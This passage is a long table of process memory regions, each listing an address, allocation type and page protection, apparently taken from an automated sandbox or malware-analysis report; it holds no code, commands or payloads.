page read and write
|
||
F66000
|
heap
|
page read and write
|
||
1B1E188F000
|
trusted library allocation
|
page read and write
|
||
13C0000
|
heap
|
page read and write
|
||
55AF000
|
stack
|
page read and write
|
||
1DA613E0000
|
heap
|
page read and write
|
||
5088000
|
heap
|
page read and write
|
||
55B1000
|
heap
|
page read and write
|
||
7E60000
|
trusted library allocation
|
page read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
1B1CF7F2000
|
heap
|
page read and write
|
||
10EF000
|
stack
|
page read and write
|
||
5AB5000
|
heap
|
page read and write
|
||
7E70000
|
trusted library allocation
|
page read and write
|
||
2410000
|
heap
|
page read and write
|
||
42E5000
|
trusted library allocation
|
page read and write
|
||
328D000
|
heap
|
page read and write
|
||
51C5000
|
heap
|
page execute and read and write
|
||
11CE000
|
heap
|
page read and write
|
||
1DA611BA000
|
heap
|
page read and write
|
||
1B1E1B7C000
|
trusted library allocation
|
page read and write
|
||
1DA5F35F000
|
heap
|
page read and write
|
||
8A90000
|
trusted library allocation
|
page read and write
|
||
1DA611BA000
|
heap
|
page read and write
|
||
8F70000
|
trusted library allocation
|
page read and write
|
||
FEF000
|
heap
|
page read and write
|
||
6CA2000
|
heap
|
page read and write
|
||
1DA6151F000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
1B1D16B0000
|
heap
|
page read and write
|
||
4000000
|
heap
|
page read and write
|
||
1DA61523000
|
heap
|
page read and write
|
||
1B1CF742000
|
heap
|
page read and write
|
||
FE0000
|
heap
|
page read and write
|
||
2DEE000
|
stack
|
page read and write
|
||
8A40000
|
trusted library allocation
|
page read and write
|
||
1B1D337E000
|
trusted library allocation
|
page read and write
|
||
7EA0000
|
trusted library allocation
|
page read and write
|
||
1DA611EC000
|
heap
|
page read and write
|
||
3590000
|
trusted library allocation
|
page read and write
|
||
31C5000
|
heap
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
893E000
|
stack
|
page read and write
|
||
55C2000
|
heap
|
page read and write
|
||
70E377B000
|
stack
|
page read and write
|
||
1B1D17A0000
|
heap
|
page read and write
|
||
2DF0000
|
heap
|
page read and write
|
||
305D000
|
stack
|
page read and write
|
||
81B0000
|
trusted library allocation
|
page read and write
|
||
3310000
|
heap
|
page read and write
|
||
1B1CF944000
|
heap
|
page read and write
|
||
5ABA000
|
heap
|
page read and write
|
||
35F0000
|
trusted library allocation
|
page read and write
|
||
8F90000
|
trusted library allocation
|
page read and write
|
||
8F60000
|
trusted library allocation
|
page execute and read and write
|
||
3F70000
|
trusted library allocation
|
page read and write
|
||
1DA612E5000
|
heap
|
page read and write
|
||
3524000
|
heap
|
page read and write
|
||
3604000
|
heap
|
page read and write
|
||
1DA6131A000
|
heap
|
page read and write
|
||
4539000
|
trusted library allocation
|
page read and write
|
||
685B000
|
stack
|
page read and write
|
||
55C5000
|
heap
|
page read and write
|
||
5AC9000
|
heap
|
page read and write
|
||
2188000
|
stack
|
page read and write
|
||
55CE000
|
heap
|
page read and write
|
||
36E7000
|
heap
|
page read and write
|
||
40E0000
|
trusted library allocation
|
page read and write
|
||
1DA611AE000
|
heap
|
page read and write
|
||
F40000
|
heap
|
page read and write
|
||
1B1CF74E000
|
heap
|
page read and write
|
||
1DA5F6A5000
|
heap
|
page read and write
|
||
5BBF000
|
heap
|
page read and write
|
||
1DA612A1000
|
heap
|
page read and write
|
||
4869000
|
trusted library allocation
|
page read and write
|
||
1B1D1881000
|
trusted library allocation
|
page read and write
|
||
17B0000
|
heap
|
page read and write
|
||
32A8000
|
stack
|
page read and write
|
||
2DF0000
|
heap
|
page read and write
|
||
1DA613D6000
|
heap
|
page read and write
|
||
1DA6157B000
|
heap
|
page read and write
|
||
25AA000
|
heap
|
page read and write
|
||
9B0000
|
heap
|
page read and write
|
||
134E000
|
stack
|
page read and write
|
||
10DB000
|
stack
|
page read and write
|
||
3699000
|
heap
|
page read and write
|
||
322F000
|
stack
|
page read and write
|
||
3529000
|
heap
|
page read and write
|
||
8E503FF000
|
stack
|
page read and write
|
||
4DFF000
|
stack
|
page read and write
|
||
7DF0000
|
trusted library allocation
|
page read and write
|
||
8190000
|
trusted library allocation
|
page read and write
|
||
1B1CF9D0000
|
trusted library allocation
|
page read and write
|
||
1B1CF940000
|
heap
|
page read and write
|
||
8D21000
|
heap
|
page read and write
|
||
331F000
|
heap
|
page read and write
|
||
1DA611B7000
|
heap
|
page read and write
|
||
4917000
|
trusted library allocation
|
page read and write
|
||
32E0000
|
heap
|
page read and write
|
||
81A0000
|
trusted library allocation
|
page read and write
|
||
61EB000
|
stack
|
page read and write
|
||
3A2B000
|
stack
|
page read and write
|
||
6DA0000
|
heap
|
page execute and read and write
|
||
214C000
|
stack
|
page read and write
|
||
3500000
|
heap
|
page read and write
|
||
32F4000
|
heap
|
page read and write
|
||
1DA61564000
|
heap
|
page read and write
|
||
478000
|
remote allocation
|
page execute and read and write
|
||
7FF848DFB000
|
trusted library allocation
|
page read and write
|
||
7FF8491A4000
|
trusted library allocation
|
page read and write
|
||
6EB0000
|
trusted library allocation
|
page read and write
|
||
62F3000
|
trusted library allocation
|
page read and write
|
||
1DA61567000
|
heap
|
page read and write
|
||
DC0000
|
heap
|
page read and write
|
||
2E2F000
|
stack
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
330E000
|
heap
|
page read and write
|
||
392E000
|
stack
|
page read and write
|
||
7DF426320000
|
trusted library allocation
|
page execute and read and write
|
||
6F30000
|
trusted library allocation
|
page read and write
|
||
650F000
|
stack
|
page read and write
|
||
70E414E000
|
stack
|
page read and write
|
||
453D000
|
trusted library allocation
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
366C000
|
heap
|
page read and write
|
||
1B1CF800000
|
heap
|
page read and write
|
||
1DA5F34A000
|
heap
|
page read and write
|
||
1B1D1720000
|
heap
|
page execute and read and write
|
||
88FD000
|
stack
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
1B1CF78F000
|
heap
|
page read and write
|
||
70E30FF000
|
stack
|
page read and write
|
||
1B1E9AC1000
|
heap
|
page read and write
|
||
1DA613EC000
|
heap
|
page read and write
|
||
3460000
|
heap
|
page read and write
|
||
1B1CFA95000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
7FF848DE3000
|
trusted library allocation
|
page execute and read and write
|
||
36E6000
|
heap
|
page read and write
|
||
1DA5F349000
|
heap
|
page read and write
|
||
654E000
|
stack
|
page read and write
|
||
1DA611F5000
|
heap
|
page read and write
|
||
3410000
|
heap
|
page read and write
|
||
1B1CF714000
|
heap
|
page read and write
|
||
5AEB000
|
heap
|
page read and write
|
||
6C38000
|
heap
|
page read and write
|
||
4FE0000
|
trusted library allocation
|
page read and write
|
||
1DA612EC000
|
heap
|
page read and write
|
||
7A80000
|
trusted library allocation
|
page read and write
|
||
54AE000
|
stack
|
page read and write
|
||
1DA612F8000
|
heap
|
page read and write
|
||
55BE000
|
heap
|
page read and write
|
||
12F5000
|
heap
|
page read and write
|
||
5A7B000
|
heap
|
page read and write
|
||
7FF849060000
|
trusted library allocation
|
page read and write
|
||
2400000
|
heap
|
page read and write
|
||
36DE000
|
stack
|
page read and write
|
||
1DA611F4000
|
heap
|
page read and write
|
||
1DA612DD000
|
heap
|
page read and write
|
||
5BD9000
|
heap
|
page read and write
|
||
8CE6000
|
heap
|
page read and write
|
||
1DA5F2F0000
|
heap
|
page read and write
|
||
88B0000
|
trusted library allocation
|
page read and write
|
||
3314000
|
heap
|
page read and write
|
||
68DD000
|
stack
|
page read and write
|
||
6950000
|
heap
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
1DA61567000
|
heap
|
page read and write
|
||
32D4000
|
heap
|
page read and write
|
||
7FF848EC6000
|
trusted library allocation
|
page execute and read and write
|
||
F40000
|
heap
|
page read and write
|
||
1DA61556000
|
heap
|
page read and write
|
||
55B9000
|
heap
|
page read and write
|
||
5E7F000
|
stack
|
page read and write
|
||
7FF848E90000
|
trusted library allocation
|
page read and write
|
||
123E000
|
stack
|
page read and write
|
||
2ABE000
|
stack
|
page read and write
|
||
1DA61290000
|
heap
|
page read and write
|
||
8C4C000
|
stack
|
page read and write
|
||
5AC8000
|
heap
|
page read and write
|
||
8E502FE000
|
stack
|
page read and write
|
||
70E3379000
|
stack
|
page read and write
|
||
35CF000
|
unkown
|
page read and write
|
||
F3B000
|
stack
|
page read and write
|
||
11D7000
|
heap
|
page read and write
|
||
3313000
|
heap
|
page read and write
|
||
369F000
|
unkown
|
page read and write
|
||
6281000
|
trusted library allocation
|
page read and write
|
||
7F6B0000
|
trusted library allocation
|
page execute and read and write
|
||
8D13000
|
heap
|
page read and write
|
||
5ABD000
|
heap
|
page read and write
|
||
1DA5F356000
|
heap
|
page read and write
|
||
7FF848E9C000
|
trusted library allocation
|
page execute and read and write
|
||
8D2D000
|
heap
|
page read and write
|
||
7970000
|
trusted library allocation
|
page execute and read and write
|
||
7BF1000
|
heap
|
page read and write
|
||
40CE000
|
stack
|
page read and write
|
||
2F6F000
|
stack
|
page read and write
|
||
2B50000
|
heap
|
page read and write
|
||
3F00000
|
trusted library section
|
page read and write
|
||
FBF000
|
heap
|
page read and write
|
||
351E000
|
stack
|
page read and write
|
||
3F55000
|
trusted library allocation
|
page execute and read and write
|
||
3F24000
|
trusted library allocation
|
page read and write
|
||
30AF000
|
stack
|
page read and write
|
||
7AF0000
|
trusted library allocation
|
page read and write
|
||
7FF8490B0000
|
trusted library allocation
|
page read and write
|
||
2D3B000
|
stack
|
page read and write
|
||
32EC000
|
heap
|
page read and write
|
||
B625000
|
direct allocation
|
page execute and read and write
|
||
35A3000
|
trusted library allocation
|
page execute and read and write
|
||
6E2E000
|
stack
|
page read and write
|
||
41F0000
|
trusted library allocation
|
page read and write
|
||
7AD0000
|
trusted library allocation
|
page read and write
|
||
7FF848DF0000
|
trusted library allocation
|
page read and write
|
||
6ED0000
|
trusted library allocation
|
page read and write
|
||
7C81000
|
heap
|
page read and write
|
||
45A0000
|
heap
|
page read and write
|
||
7E30000
|
trusted library allocation
|
page read and write
|
||
1DA61490000
|
heap
|
page read and write
|
||
2DA0000
|
heap
|
page read and write
|
||
5281000
|
trusted library allocation
|
page read and write
|
||
7BB0000
|
heap
|
page read and write
|
||
7FF8490E0000
|
trusted library allocation
|
page read and write
|
||
4165000
|
heap
|
page execute and read and write
|
||
35CA000
|
trusted library allocation
|
page execute and read and write
|
||
5B29000
|
heap
|
page read and write
|
||
1DA5F34F000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
79FE000
|
stack
|
page read and write
|
||
3330000
|
heap
|
page read and write
|
||
10D6000
|
stack
|
page read and write
|
||
7FF848DE0000
|
trusted library allocation
|
page read and write
|
||
4038000
|
trusted library allocation
|
page read and write
|
||
2E30000
|
heap
|
page read and write
|
||
1DA5F356000
|
heap
|
page read and write
|
||
10001000
|
direct allocation
|
page execute and read and write
|
||
3320000
|
heap
|
page read and write
|
||
1DA613F8000
|
heap
|
page read and write
|
||
36E0000
|
heap
|
page read and write
|
||
1B1E9DA0000
|
trusted library section
|
page read and write
|
||
7FF849080000
|
trusted library allocation
|
page read and write
|
||
7E00000
|
trusted library allocation
|
page read and write
|
||
4028000
|
heap
|
page read and write
|
||
7AC1000
|
heap
|
page read and write
|
||
5ABF000
|
heap
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
12F0000
|
heap
|
page read and write
|
||
32F4000
|
heap
|
page read and write
|
||
669D000
|
stack
|
page read and write
|
||
5191000
|
trusted library allocation
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
175F000
|
stack
|
page read and write
|
||
53D6000
|
trusted library allocation
|
page read and write
|
||
80CC000
|
stack
|
page read and write
|
||
1DA611DF000
|
heap
|
page read and write
|
||
127E000
|
stack
|
page read and write
|
||
7ED2000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
DB0000
|
heap
|
page read and write
|
||
503E000
|
stack
|
page read and write
|
||
7990000
|
trusted library allocation
|
page read and write
|
||
F9F000
|
heap
|
page read and write
|
||
4F8C000
|
stack
|
page read and write
|
||
2E1C000
|
heap
|
page read and write
|
||
1DA613D0000
|
heap
|
page read and write
|
||
2D2C000
|
stack
|
page read and write
|
||
6C70000
|
trusted library allocation
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
3281000
|
heap
|
page read and write
|
||
70E2DCF000
|
stack
|
page read and write
|
||
F84000
|
heap
|
page read and write
|
||
3675000
|
heap
|
page read and write
|
||
4160000
|
heap
|
page execute and read and write
|
||
3306000
|
heap
|
page read and write
|
||
55CD000
|
heap
|
page read and write
|
||
8970000
|
trusted library allocation
|
page execute and read and write
|
||
7E0F000
|
stack
|
page read and write
|
||
3159000
|
heap
|
page read and write
|
||
7FF849090000
|
trusted library allocation
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
3580000
|
trusted library section
|
page read and write
|
||
A225000
|
direct allocation
|
page execute and read and write
|
||
1DA61564000
|
heap
|
page read and write
|
||
1DA61511000
|
heap
|
page read and write
|
||
35C0000
|
trusted library allocation
|
page read and write
|
||
7FF8490C0000
|
trusted library allocation
|
page read and write
|
||
3323000
|
heap
|
page read and write
|
||
334D000
|
heap
|
page read and write
|
||
546A000
|
trusted library allocation
|
page read and write
|
||
592D000
|
stack
|
page read and write
|
||
7FF848DE4000
|
trusted library allocation
|
page read and write
|
||
1B1CF762000
|
heap
|
page read and write
|
||
5445000
|
trusted library allocation
|
page read and write
|
||
6C27000
|
heap
|
page read and write
|
||
7E10000
|
trusted library allocation
|
page read and write
|
||
8890000
|
trusted library allocation
|
page execute and read and write
|
||
5A7F000
|
heap
|
page read and write
|
||
3B6E000
|
stack
|
page read and write
|
||
1DA613D8000
|
heap
|
page read and write
|
||
1DA5F350000
|
heap
|
page read and write
|
||
7FF848FE0000
|
trusted library allocation
|
page read and write
|
||
70E307E000
|
stack
|
page read and write
|
||
70E36FE000
|
stack
|
page read and write
|
||
315E000
|
stack
|
page read and write
|
||
8A9B000
|
trusted library allocation
|
page read and write
|
||
1B1CF8E0000
|
heap
|
page read and write
|
||
1DA6162B000
|
heap
|
page read and write
|
||
1DA612E0000
|
heap
|
page read and write
|
||
3490000
|
heap
|
page read and write
|
||
6EC0000
|
trusted library allocation
|
page execute and read and write
|
||
660E000
|
stack
|
page read and write
|
||
7EB8000
|
heap
|
page read and write
|
||
8FC0000
|
trusted library allocation
|
page read and write
|
||
7A40000
|
trusted library allocation
|
page execute and read and write
|
||
1B1E9A85000
|
heap
|
page read and write
|
||
32D9000
|
heap
|
page read and write
|
||
3360000
|
heap
|
page read and write
|
||
7FF849100000
|
trusted library allocation
|
page read and write
|
||
33D0000
|
heap
|
page read and write
|
||
51B9000
|
trusted library allocation
|
page read and write
|
||
7AC0000
|
trusted library allocation
|
page read and write
|
||
5270000
|
heap
|
page read and write
|
||
1B1CF700000
|
heap
|
page read and write
|
||
36D0000
|
remote allocation
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
7B30000
|
trusted library allocation
|
page read and write
|
||
40D0000
|
trusted library allocation
|
page execute and read and write
|
||
3EF0000
|
trusted library section
|
page read and write
|
||
32EC000
|
heap
|
page read and write
|
||
8D00000
|
heap
|
page read and write
|
||
1B1CFA90000
|
heap
|
page read and write
|
||
35D0000
|
trusted library allocation
|
page read and write
|
||
36E8000
|
heap
|
page read and write
|
||
25AD000
|
heap
|
page read and write
|
||
4F38000
|
trusted library allocation
|
page read and write
|
||
55B6000
|
heap
|
page read and write
|
||
6FDB000
|
stack
|
page read and write
|
||
1DA612FD000
|
heap
|
page read and write
|
||
1B1D1901000
|
trusted library allocation
|
page read and write
|
||
1B1CF990000
|
trusted library allocation
|
page read and write
|
||
6B70000
|
heap
|
page read and write
|
||
7650000
|
direct allocation
|
page read and write
|
||
2434000
|
heap
|
page read and write
|
||
3320000
|
heap
|
page read and write
|
||
5ABA000
|
heap
|
page read and write
|
||
32A6000
|
heap
|
page read and write
|
||
2FBD000
|
stack
|
page read and write
|
||
1DA6162C000
|
heap
|
page read and write
|
||
7FF849030000
|
trusted library allocation
|
page read and write
|
||
7E8E000
|
stack
|
page read and write
|
||
7A90000
|
trusted library allocation
|
page read and write
|
||
7FF848E96000
|
trusted library allocation
|
page read and write
|
||
8E4FFFF000
|
stack
|
page read and write
|
||
5A7F000
|
heap
|
page read and write
|
||
3CCF000
|
stack
|
page read and write
|
||
5B29000
|
heap
|
page read and write
|
||
70E33F7000
|
stack
|
page read and write
|
||
1B1D158B000
|
heap
|
page read and write
|
||
1DA61306000
|
heap
|
page read and write
|
||
5260000
|
heap
|
page execute and read and write
|
||
8D5E000
|
heap
|
page read and write
|
||
55B2000
|
heap
|
page read and write
|
||
8AA0000
|
trusted library allocation
|
page read and write
|
||
681E000
|
stack
|
page read and write
|
||
5462000
|
trusted library allocation
|
page read and write
|
||
32E7000
|
heap
|
page read and write
|
||
FE0000
|
heap
|
page read and write
|
||
1DA61191000
|
heap
|
page read and write
|
||
8E501FD000
|
stack
|
page read and write
|
||
11D0000
|
heap
|
page read and write
|
||
4EDE000
|
stack
|
page read and write
|
||
253F000
|
heap
|
page read and write
|
||
1DA613E0000
|
heap
|
page read and write
|
||
70E32FD000
|
stack
|
page read and write
|
||
3F10000
|
trusted library allocation
|
page read and write
|
||
1B1E9AC9000
|
heap
|
page read and write
|
||
2CEF000
|
stack
|
page read and write
|
||
1DA611F5000
|
heap
|
page read and write
|
||
1B1D17FF000
|
heap
|
page read and write
|
||
31A5000
|
heap
|
page read and write
|
||
8FB0000
|
direct allocation
|
page execute and read and write
|
||
401E000
|
stack
|
page read and write
|
||
4FCE000
|
stack
|
page read and write
|
||
1DA61554000
|
heap
|
page read and write
|
||
1DA612CD000
|
heap
|
page read and write
|
||
2510000
|
heap
|
page read and write
|
||
32AC000
|
heap
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
55B1000
|
heap
|
page read and write
|
||
7AE0000
|
trusted library allocation
|
page read and write
|
||
1B1CFA00000
|
trusted library allocation
|
page read and write
|
||
13FE000
|
stack
|
page read and write
|
||
1B1E9A60000
|
heap
|
page read and write
|
||
FC4000
|
heap
|
page read and write
|
||
1DA6157D000
|
heap
|
page read and write
|
||
319F000
|
stack
|
page read and write
|
||
11BF000
|
stack
|
page read and write
|
||
520E000
|
stack
|
page read and write
|
||
4195000
|
trusted library allocation
|
page read and write
|
||
EFA000
|
stack
|
page read and write
|
||
3250000
|
heap
|
page read and write
|
||
7FF848F00000
|
trusted library allocation
|
page execute and read and write
|
||
7A60000
|
heap
|
page read and write
|
||
1DA5F6A0000
|
heap
|
page read and write
|
||
89A0000
|
heap
|
page read and write
|
||
331F000
|
heap
|
page read and write
|
||
7D4E000
|
stack
|
page read and write
|
||
7FF849160000
|
trusted library allocation
|
page read and write
|
||
45C000
|
system
|
page execute and read and write
|
||
3210000
|
heap
|
page read and write
|
||
70E41CD000
|
stack
|
page read and write
|
||
3F39000
|
trusted library allocation
|
page read and write
|
||
7CB8000
|
trusted library allocation
|
page read and write
|
||
2E6E000
|
stack
|
page read and write
|
||
32DE000
|
unkown
|
page read and write
|
||
4191000
|
trusted library allocation
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
6C78000
|
trusted library allocation
|
page read and write
|
||
32B8000
|
heap
|
page read and write
|
||
1B1E9910000
|
heap
|
page read and write
|
||
4180000
|
heap
|
page execute and read and write
|
||
32E0000
|
heap
|
page read and write
|
||
6EE0000
|
trusted library allocation
|
page read and write
|
||
41B000
|
system
|
page execute and read and write
|
||
1DA5F570000
|
heap
|
page read and write
|
||
36CF000
|
stack
|
page read and write
|
||
331A000
|
heap
|
page read and write
|
||
9825000
|
direct allocation
|
page execute and read and write
|
||
7FF849191000
|
trusted library allocation
|
page read and write
|
||
1B1D1E59000
|
trusted library allocation
|
page read and write
|
||
1B1CF9C0000
|
heap
|
page readonly
|
||
7A50000
|
heap
|
page read and write
|
||
1DA614F6000
|
heap
|
page read and write
|
||
1DA61491000
|
heap
|
page read and write
|
||
7FF849120000
|
trusted library allocation
|
page read and write
|
||
7FF849181000
|
trusted library allocation
|
page read and write
|
||
514E000
|
stack
|
page read and write
|
||
32EC000
|
heap
|
page read and write
|
||
6F90000
|
trusted library allocation
|
page read and write
|
||
55B9000
|
heap
|
page read and write
|
||
3F2D000
|
trusted library allocation
|
page execute and read and write
|
||
7CB0000
|
trusted library allocation
|
page read and write
|
||
4491000
|
trusted library allocation
|
page read and write
|
||
7640000
|
direct allocation
|
page read and write
|
||
7D8E000
|
stack
|
page read and write
|
||
1DA611EF000
|
heap
|
page read and write
|
||
1DA61326000
|
heap
|
page read and write
|
||
5AA0000
|
heap
|
page read and write
|
||
6E6E000
|
stack
|
page read and write
|
||
3120000
|
heap
|
page read and write
|
||
7FF848FC2000
|
trusted library allocation
|
page read and write
|
||
1DA613D0000
|
heap
|
page read and write
|
||
1B1D477E000
|
trusted library allocation
|
page read and write
|
||
55B3000
|
heap
|
page read and write
|
||
1B1CF74C000
|
heap
|
page read and write
|
||
1DA61190000
|
heap
|
page read and write
|
||
8A80000
|
heap
|
page read and write
|
||
2E55000
|
heap
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
7FF848F9A000
|
trusted library allocation
|
page read and write
|
||
7B40000
|
heap
|
page read and write
|
||
400000
|
system
|
page execute and read and write
|
||
8D25000
|
heap
|
page read and write
|
||
3306000
|
heap
|
page read and write
|
||
55B5000
|
heap
|
page read and write
|
||
1DA611CB000
|
heap
|
page read and write
|
||
10016000
|
direct allocation
|
page execute and read and write
|
||
1B1D1832000
|
heap
|
page read and write
|
||
5AAC000
|
heap
|
page read and write
|
||
3ED0000
|
heap
|
page read and write
|
||
582D000
|
stack
|
page read and write
|
||
5AAC000
|
heap
|
page read and write
|
||
FBE000
|
stack
|
page read and write
|
||
10F4000
|
stack
|
page read and write
|
||
6B4E000
|
stack
|
page read and write
|
||
7FF848F91000
|
trusted library allocation
|
page read and write
|
||
5930000
|
heap
|
page read and write
|
||
4030000
|
trusted library allocation
|
page read and write
|
||
5AB8000
|
heap
|
page read and write
|
||
32E0000
|
heap
|
page read and write
|
||
7FF849010000
|
trusted library allocation
|
page read and write
|
||
679E000
|
stack
|
page read and write
|
||
57ED000
|
stack
|
page read and write
|
||
35B9000
|
trusted library allocation
|
page read and write
|
||
3326000
|
heap
|
page read and write
|
||
3320000
|
heap
|
page read and write
|
||
10000000
|
direct allocation
|
page read and write
|
||
6F40000
|
trusted library allocation
|
page read and write
|
||
36D0000
|
remote allocation
|
page read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
102F000
|
heap
|
page read and write
|
||
1DA5F3C3000
|
heap
|
page read and write
|
||
1DA5F320000
|
heap
|
page read and write
|
||
408C000
|
stack
|
page read and write
|
||
1DA5F3C3000
|
heap
|
page read and write
|
||
1B1D1756000
|
heap
|
page execute and read and write
|
||
7E80000
|
trusted library allocation
|
page read and write
|
||
7FF849140000
|
trusted library allocation
|
page read and write
|
||
5B93000
|
heap
|
page read and write
|
||
4020000
|
heap
|
page read and write
|
||
35D2000
|
trusted library allocation
|
page read and write
|
||
36D0000
|
remote allocation
|
page read and write
|
||
7B85000
|
trusted library allocation
|
page read and write
|
||
6F50000
|
trusted library allocation
|
page read and write
|
||
56EE000
|
stack
|
page read and write
|
||
9C0000
|
heap
|
page read and write
|
||
89B0000
|
trusted library allocation
|
page read and write
|
||
6960000
|
heap
|
page read and write
|
||
3129000
|
heap
|
page read and write
|
||
5BD7000
|
heap
|
page read and write
|
||
5B80000
|
heap
|
page read and write
|
||
1B1E1C9C000
|
trusted library allocation
|
page read and write
|
||
5AE2000
|
heap
|
page read and write
|
||
5E80000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
4020000
|
heap
|
page read and write
|
||
1DA614FC000
|
heap
|
page read and write
|
||
12A0000
|
heap
|
page read and write
|
||
6EAD000
|
stack
|
page read and write
|
||
3F50000
|
trusted library allocation
|
page read and write
|
||
79C6000
|
heap
|
page read and write
|
||
3FD0000
|
heap
|
page read and write
|
||
F6C000
|
stack
|
page read and write
|
||
413E000
|
stack
|
page read and write
|
||
67DA000
|
stack
|
page read and write
|
||
5A7D000
|
heap
|
page read and write
|
||
330E000
|
heap
|
page read and write
|
||
315E000
|
stack
|
page read and write
|
||
1450000
|
heap
|
page read and write
|
||
7FF849070000
|
trusted library allocation
|
page read and write
|
||
1B1CF950000
|
heap
|
page read and write
|
||
5080000
|
heap
|
page read and write
|
||
2FA0000
|
heap
|
page read and write
|
||
7FF849000000
|
trusted library allocation
|
page read and write
|
||
35A4000
|
trusted library allocation
|
page read and write
|
||
5E90000
|
heap
|
page read and write
|
||
4799000
|
trusted library allocation
|
page read and write
|
||
5A70000
|
heap
|
page read and write
|
||
3A6E000
|
stack
|
page read and write
|
||
11F0000
|
heap
|
page read and write
|
||
5BD8000
|
heap
|
page read and write
|
||
1DA611F5000
|
heap
|
page read and write
|
||
52E0000
|
trusted library allocation
|
page read and write
|
||
7E9B000
|
heap
|
page read and write
|
||
8D35000
|
heap
|
page read and write
|
||
BDC000
|
stack
|
page read and write
|
||
3F30000
|
trusted library allocation
|
page read and write
|
||
1B1D1870000
|
heap
|
page execute and read and write
|
||
3790000
|
heap
|
page read and write
|
||
7FF84919A000
|
trusted library allocation
|
page read and write
|
||
6B0E000
|
stack
|
page read and write
|
||
7FF8490F0000
|
trusted library allocation
|
page read and write
|
||
3F4A000
|
trusted library allocation
|
page execute and read and write
|
||
38EF000
|
stack
|
page read and write
|
||
7FF848FD0000
|
trusted library allocation
|
page execute and read and write
|
||
3306000
|
heap
|
page read and write
|
||
36E4000
|
heap
|
page read and write
|
||
1B1CF74A000
|
heap
|
page read and write
|
||
548A000
|
trusted library allocation
|
page read and write
|
||
1DA613E6000
|
heap
|
page read and write
|
||
473000
|
system
|
page execute and read and write
|
||
1DA611C6000
|
heap
|
page read and write
|
||
55D2000
|
heap
|
page read and write
|
||
70E2D03000
|
stack
|
page read and write
|
||
4FD0000
|
trusted library allocation
|
page execute and read and write
|
||
1B1E1B6E000
|
trusted library allocation
|
page read and write
|
||
5AEA000
|
heap
|
page read and write
|
||
44FB000
|
trusted library allocation
|
page read and write
|
||
332B000
|
heap
|
page read and write
|
||
36E4000
|
heap
|
page read and write
|
||
3F23000
|
trusted library allocation
|
page execute and read and write
|
||
2E10000
|
heap
|
page read and write
|
||
1DA5F355000
|
heap
|
page read and write
|
||
675F000
|
stack
|
page read and write
|
||
4554000
|
trusted library allocation
|
page read and write
|
||
5B81000
|
heap
|
page read and write
|
||
2DEF000
|
stack
|
page read and write
|
||
1B1CF9B0000
|
trusted library allocation
|
page read and write
|
||
70E31FF000
|
stack
|
page read and write
|
||
32CC000
|
heap
|
page read and write
|
||
7FF849020000
|
trusted library allocation
|
page read and write
|
||
F4B000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
62F8000
|
trusted library allocation
|
page read and write
|
||
2429000
|
heap
|
page read and write
|
||
1B1E1881000
|
trusted library allocation
|
page read and write
|
||
7FF848F80000
|
trusted library allocation
|
page read and write
|
||
36E7000
|
heap
|
page read and write
|
||
326C000
|
stack
|
page read and write
|
||
5BD9000
|
heap
|
page read and write
|
||
1DA6131E000
|
heap
|
page read and write
|
||
1B1D1E37000
|
trusted library allocation
|
page read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
35B0000
|
trusted library allocation
|
page read and write
|
||
1DA612C8000
|
heap
|
page read and write
|
||
2E33000
|
heap
|
page read and write
|
||
1DA614F8000
|
heap
|
page read and write
|
||
32E7000
|
heap
|
page read and write
|
||
5BD7000
|
heap
|
page read and write
|
||
1DA61192000
|
heap
|
page read and write
|
||
1DA61516000
|
heap
|
page read and write
|
||
3BCE000
|
stack
|
page read and write
|
||
257A000
|
heap
|
page read and write
|
||
55B9000
|
heap
|
page read and write
|
||
3447000
|
heap
|
page read and write
|
||
11F8000
|
heap
|
page read and write
|
||
4476000
|
trusted library allocation
|
page read and write
|
||
7A70000
|
trusted library allocation
|
page read and write
|
||
5B29000
|
heap
|
page read and write
|
||
32CC000
|
heap
|
page read and write
|
||
4570000
|
heap
|
page read and write
|
||
1B1CF789000
|
heap
|
page read and write
|
||
7FF848EA0000
|
trusted library allocation
|
page execute and read and write
|
||
6C2F000
|
heap
|
page read and write
|
||
3D1D000
|
stack
|
page read and write
|
||
1DA613DB000
|
heap
|
page read and write
|
||
1DA61520000
|
heap
|
page read and write
|
||
6F60000
|
trusted library allocation
|
page read and write
|
||
32ED000
|
heap
|
page read and write
|
||
536E000
|
stack
|
page read and write
|
||
1B1D1AA4000
|
trusted library allocation
|
page read and write
|
||
5ABF000
|
heap
|
page read and write
|
||
62EC000
|
stack
|
page read and write
|
||
94C000
|
stack
|
page read and write
|
||
363B000
|
heap
|
page read and write
|
||
145B000
|
heap
|
page read and write
|
||
3345000
|
heap
|
page read and write
|
||
3311000
|
heap
|
page read and write
|
||
30FA000
|
stack
|
page read and write
|
||
8E4FAF9000
|
stack
|
page read and write
|
||
4F20000
|
heap
|
page readonly
|
||
31C0000
|
heap
|
page read and write
|
||
2E1F000
|
heap
|
page read and write
|
||
7FF849040000
|
trusted library allocation
|
page read and write
|
||
1DA613D0000
|
heap
|
page read and write
|
||
50CF000
|
stack
|
page read and write
|
||
1DA612E9000
|
heap
|
page read and write
|
||
2BEF000
|
stack
|
page read and write
|
||
8960000
|
heap
|
page read and write
|
||
474000
|
remote allocation
|
page execute and read and write
|
||
1DA6153D000
|
heap
|
page read and write
|
||
1DA5F327000
|
heap
|
page read and write
|
||
335E000
|
stack
|
page read and write
|
||
